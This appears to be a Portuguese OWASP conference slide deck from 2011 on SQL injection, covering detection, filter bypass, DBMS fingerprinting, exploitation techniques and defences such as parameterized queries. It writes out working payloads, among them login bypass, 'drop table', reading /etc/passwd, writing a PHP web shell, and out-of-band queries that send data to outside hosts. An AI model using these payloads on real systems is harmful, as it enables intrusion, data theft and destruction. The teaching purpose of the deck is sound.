Upload
david-gomes-guimaraes
View
907
Download
0
Embed Size (px)
DESCRIPTION
OWASP-DF 2011 Web Application Flaws - SQL Injection
Citation preview
Web App FlawsSQL Injection
David G. GuimarãesOWASP/DF/2011skysbsb[at]gmail.com
OWASP
David G. Guimarães
• Pesquisador e consultor independente.• Analista da área de segurança de rede do Ministério da Saúde.
o Técnico de Infra da área de segurança da Câmara dos Deputados.o Estagiário de segurança do Centro de Recursos Comp. (CERCOMP)
da UFG. • Colaborador em projetos de software livre/linux - sqlmap.• LPIC-2, ITILv3, CobiTv4.1, ISO20000, ISO27002• Pentester e fuçador nas horas vagas.
OWASP
Roteiro
• Introdução• Descobrindo falhas• Análise
o Filtroso Identificação do SGBD/DBMSo Localizaçãoo Técnicas
• File Access• Evitando• Referências
OWASP
Introdução
• O que é?o Inserção de códigos SQL através da manipulação de dados de
entrada passados ao aplicativo web.• Como se dá?
o O desenvolvedor é o responsável direto por tornar o código vulnerável.
• Causaso Desenvolvedor desconhece fatos inerentes a segurança de código,
assim como a possibilidade de exploração do mesmo.o Desenvolvedor conhece fatos inerentes a segurança de código, mas
é displicente em tomar medidas preventivas para correção do mesmo.
o Falta de processos definidos relativos a desenvolvimento seguro e auditoria (ISO 2700[1-2]).
OWASP
Introdução
• Exemplo de código vulnerável (formulário de login)o $query = "select id from usuarios where user='$user' and
password='$password'";o $usuario = mysql_query($query);
o http://vulnsite.com/admin/login.php?o user=admino &password=' OR '1'='1
• Query manipulada:
o select id from usuarios where user='admin' and password='' or '1'='1'o Condição 1=1 sempre verdadeira. Resultado da operação sempre
verdadeira. Login realizado.
OWASP
Características
• Não necessita interação do usuário, ao contrário de XSS, Phishing, etc.
• Líder do rank OWASP Top Ten: most critical web application security flaws.
• Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS.• Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem)• Fácil de ser encontrada e explorada.• Possibilidade de acesso ao sistema de arquivos.• Possibilidade de exploração de vulnerabilidades no SGBD/DBMS.• Milhões de ferramentas livres/open source para scan, análise e
exploração.• Presente na grande maioria dos sites. • Mitigado incorretamente (falsa sensação de segurança).
OWASP
Cookbook
• Descobrindo falhaso Manual (Proxy, Firefox Addons)o Automatizado (ferramentas de fuzzing)o Testes básicos
• Análiseo Filtros? (Código de filtro, PHPIDS, WAF, IPS, etc.)o SGBD/DBMS utilizado (MySQL, Postgree, SQLServer, Oracle,
MSAccess)o Localização da falha na query (where/having, group/order by, etc)o Técnicas possíveis (union/inband, blind, out-of-band, error, stacked)o Privilégios permitidos (USAGE, FILE, administrator)
• Extração/Enumeração dos dadoso Databaseso Tabelaso Colunaso Linhas
OWASP
Descobrindo falhas
• Forma automatizadao Ferramentaso Nessus, w3af, Nikto, Pangolin, Havij, etc.
• Forma manual
o Mapear páginas dinâmicaso Proxy (webscarab, burp, etc.)o Firefox Addons (hackbar, Sql Inject me, tamper data, etc.)
OWASP
Descobrindo falhas - OWASP Testing Guide
• Mapeia todo o conteúdo dinâmico do siteo Páginas PHP, ASP, JAVA, etc.o Campos de formulários
• Testa todos os parâmetros passados aos scripts individualmente. o Tenta interferir no resultado da execução do script para gerar erro
ou algo que possa identificar que a query foi submetida ao BD.o Ex:
http://site.com/cidades.asp?estado=GO (mapeado) http://site.com/cidades.asp?estado=GO'
o Resultado: Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''./cidades.asp, line 113
OWASP
Descobrindo falhas - OWASP Testing Guide
• Testes básicos para identificação:• Númerico: noticiaid=30
o noticiaid=30+5-5 (=)o noticiaid=30/**/ (=)o noticiaid=30' (erro)o noticiaid=30 AND 1=0 (!=)o noticiaid=-1 (erro)
• String: busca=hdo busca=hd' (erro)o busca=hd'-- (= ou ~)o busca=hd' OR '1'='1 (= ou ~)
OWASP
Analisando e burlando filtros
• Filtros genéricos de remoção/bloqueio baseado em tokenso Exemplo:
replace("union| |select|--|/*|...", "");• Bypass:
o Encoding usando tabela ASCII e hexadecimal URLs só podem ser enviadas através da Internet utilizando o
conjunto de caracteres ASCII. URLs contêm geralmente caracteres fora do conjunto ASCII, que
tem de ser convertidos em um formato ASCII válido. Encoding de URL substitui caracteres ASCII inseguro com um
"%" seguido de dois dígitos hexadecimais. Exemplo:
union vira %75%6e%69%6f%6e
OWASP
Analisando e burlando filtros
Tabela ASCII
OWASP
Analisando e burlando filtros
• Filtros genéricos de remoção/bloqueio baseado em tokenso Exemplo:
replace("union| |select|--|/*|...", "");• Bypass:
o Usar outros caracteres para separação entre tokens: '\n'(%0A), '\t'(%0B), etc
o Exemplo: Objetivo: id=1 union select 1,2,3-- Bypass: id=1%0Aunio--n%0Aselec--t%0A1,2,3-select-
o Usar caracteres em maiúsculo/minúsculo select vira sElEcT
OWASP
Analisando e burlando filtros
• Filtros de tratamento de caracteres SQL especiaiso mysql_real_escape_string/addslashes/etc.
trata caracteres ', ", /, \, \x00, adicionando '\' antes dos mesmos, sanitizando-os
Bypass: usar a função char() Exemplo: union select column_name from information_schema.columns
where table_name = 'tabela' union select column_name from information_schema.columns
where table_name = CHAR(116, 97, 98, 101, 108, 97)• Filtro de tamanho no parâmetro
o Filtra número máximo de bytes do parâmetroo Utiliza função que corta/bloqueia em X bytes o parâmetro
OWASP
Análise - Identificação do SGBD
• Necessário para extração dos dados/construção da consulta• Tokens SQL únicos para cada SGBD
• MySQL
o CONNECTION_ID()=CONNECTION_ID(), USER()=USER(), substring(@@version, 1, 1)
• Oracleo ROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE)
• MS SQL Server o BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123),
HOST_NAME()=HOST_NAME()• Postgree SQL
o 1::int=1, VERSION()=VERSION()
OWASP
Análise - Localização da vulnerabilidade
• Query inteirao http://vulnsite.com/script.php?sql=select+id,nome+from+usuarios
• Colunas/Tabelaso http://vulnsite.com/script.php?
colunas=cidade&tabela=estado&nome=brasiliao $query = "select $colunas from $tabela where nome = '$nome'";
• Where/Havingo http://vulnsite.com/script.php?noticiaid=2o $query = "select titulo,corpo from noticias where id = $noticiaid";
• Order/Group Byo http://vulnsite.com/lista.php?ordenar_por=precoo $query = "select id,nome,preco from produtos order by
$ordernar_por";
OWASP
Análise - Localização da vulnerabilidade
• Limito http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10o $query = "select id,nome,preco from produtos order by preco limit
$pagina, $linhas_por_pagina";
OWASP
Análise - Técnicas
• Union/In-band basedo Resultado parcial ou total da query na página de resposta.o Resultado depende da lógica do scripto O resultado pode aparecer no cabeçalho
Cookies, Location, etc. Exemplo em ADS:
http://site.com/ads.php?url=1 $query = "select uri from urls where id = $url"; $result = mysql_query($query);
Resposta header("Location: ".mysql_result($result, 1));
OWASP
Análise - Técnicas
• Union/In-band basedo É necessário a identificação da quantidade de colunas da consulta
anterior.o A união das consultas deve possuir o mesmo número de colunas.o Uso do order by para descobrir o número de colunas:
http://vulnsite.com/lista.php?id=3 order by 20 ERROR 1054 (42S22): Unknown column '20' in 'order clause'
o Força bruta com NULL para adivinhar o número de colunas id=3 union select null, null, null# ERROR 1222 (21000): The used SELECT statements have a
different number of columns o Exemplo:
$query = "select nome, telefone from usuarios where id = $id and nome like '%joao%'"
http://vulnsite.com/users.php?id=3 union all select table_name, table_schema from information_schema.tables#
OWASP
Análise - Técnicas
• Error basedo Baseado na manipulação de mensagens de erro geradas pela
aplicaçãoo Resultado limitado a um número X de caracteres.o Barulhento (gera mensagens de erro que podem ser armazenadas
na máquina)o Exemplo:
http://site.com/page.asp?id=1 and 1=convert(int,@@version)-- Microsoft SQL Native Client error '80040e07' Conversion failed
when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)' to data type int./page.asp, line 9
OWASP
Análise - Técnicas
• Out-of-band basedo Uso de requisições DNS e HTTP para recuperar dadoso Resultado limitado a uma quantidade X de caracteres o Exemplo:
utl_http.request('http://www.foo.com:80/'||(select username from dba_users where rownum=1))
10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0 - -
utl_http.request('http://'||(select user from dual)||'.hacked.dyndns.com')
Verificar logs do bind/named ou; Wireshark/tcpdump na porta 53 do servidor DNS.
OWASP
Análise - Técnicas
• Blind basedo Realiza inúmeras comparações para obtenção da informaçãoo Muito lento
Aperfeiçoado usando-se paralelismo (threads) Aperfeiçoado usando-se busca binária.
o Exemplo (dump do @@version = 5.1.54-1ubuntu4): id=1 and substring(@@version, 1, 1)=5 id=1 and substring(@@version, 2, 1)='.'
OWASP
Análise - Técnicas
• Full-blind time basedo Baseada em tempo de respostao waitfor delay '0:0:5', sleep(5), etc.o Mais lenta de todas
Pode-se utilizar paralelismo Pode-se utilizar "heavy queries":
BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))o Pode gerar resultados inválidos/inconsistenteso Exemplo:
http://site.com/script.php?id=45;if (SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=USER AND GRANTED_ROLE='DBA')='DBA' waitfor delay '0:0:5'--
Dorme 5 segundos caso usuario seja DBA
OWASP
Análise - Técnicas
• Stacked basedo Permite alteração dos dados no BD. UPDATE, DROP, etc.o Possível somente em algumas tecnologias.o Pode ser utilizada em conjunto com a técnica baseada em tempo e
baseada em erro.o Exemplo:
busca=hd'; drop table noticias-- busca=hd'; if (substring(@@version, 1, 1)='M') waitfor delay
'0:0:5' else select 1;--
OWASP
Análise - File Access
• Depende do nível de permissão do usuário.• Permite leitura, escrita e execução de arquivos com a permissão do
usuário rodando o DBMS.• Exemplo:
o Leitura: id=1 union select load_file('/etc/passwd');
o Escrita: id=1 union select "<?php system($cmd); ?>" into outfile
'/var/www/c.php';--o Execução:
xp_cmdshell('ls') Função do MS SQL Server.
UDF Injection Criação e utilização de uma biblioteca a ser carregada pelo
DBMS.
OWASP
Evitando SQL Injection
• Solução global: usar consultas/querys parametrizadas• Exemplo (Unsafe)
o $unsafe_variable = $_POST["user-input"];o mysql_query("select * from users where id = ".$unsafe_variable);
• Exemplo (Safe)
o $preparedStatement = $db->prepare('select * from users where id = :id');
o $preparedStatement->execute(array(':id' => $unsafe_variable));o $rows = $preparedStatement->fetchAll();
• OWASP Enterprise Security API (ESAPI)
o American Express, Apache Foundation, Booz Allen Hamilton, Aspect Security, Foundstone(McAfee), The Hartford, Infinite Campus, Lockheed Martin, MITRE, U.S. Navy - SPAWAR, The World Bank, SANS Institute.
OWASP
Evitando SQL Injection
• TRATAR TODAS as possíveis mensagens de erro, configurar tecnologia para não mostrar erros para o usuário.
• Sanitizar/tratar/validar todos os parâmetros recebidos dos usuários.o Inteiros
Converter entrada para inteiro (intval()); Validar entrada (is_numeric($var)) Validar range numérico (números negativos)
o Strings Tratar caracteres especiais HTML e SQL
(htmlentities($param,ENT_QUOTES))html, sql, etc.
OWASP
Referências
• OWASP Broken web application project: https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
• OWASP Testing Guide: https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents
• Ferramentas: sqlsus, sqlmap, pangolin, marathon, bsqli, Havij, sqlninja, etc.
• SQL Injection Cheat Sheets: http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/
OWASP
DÚVIDAS?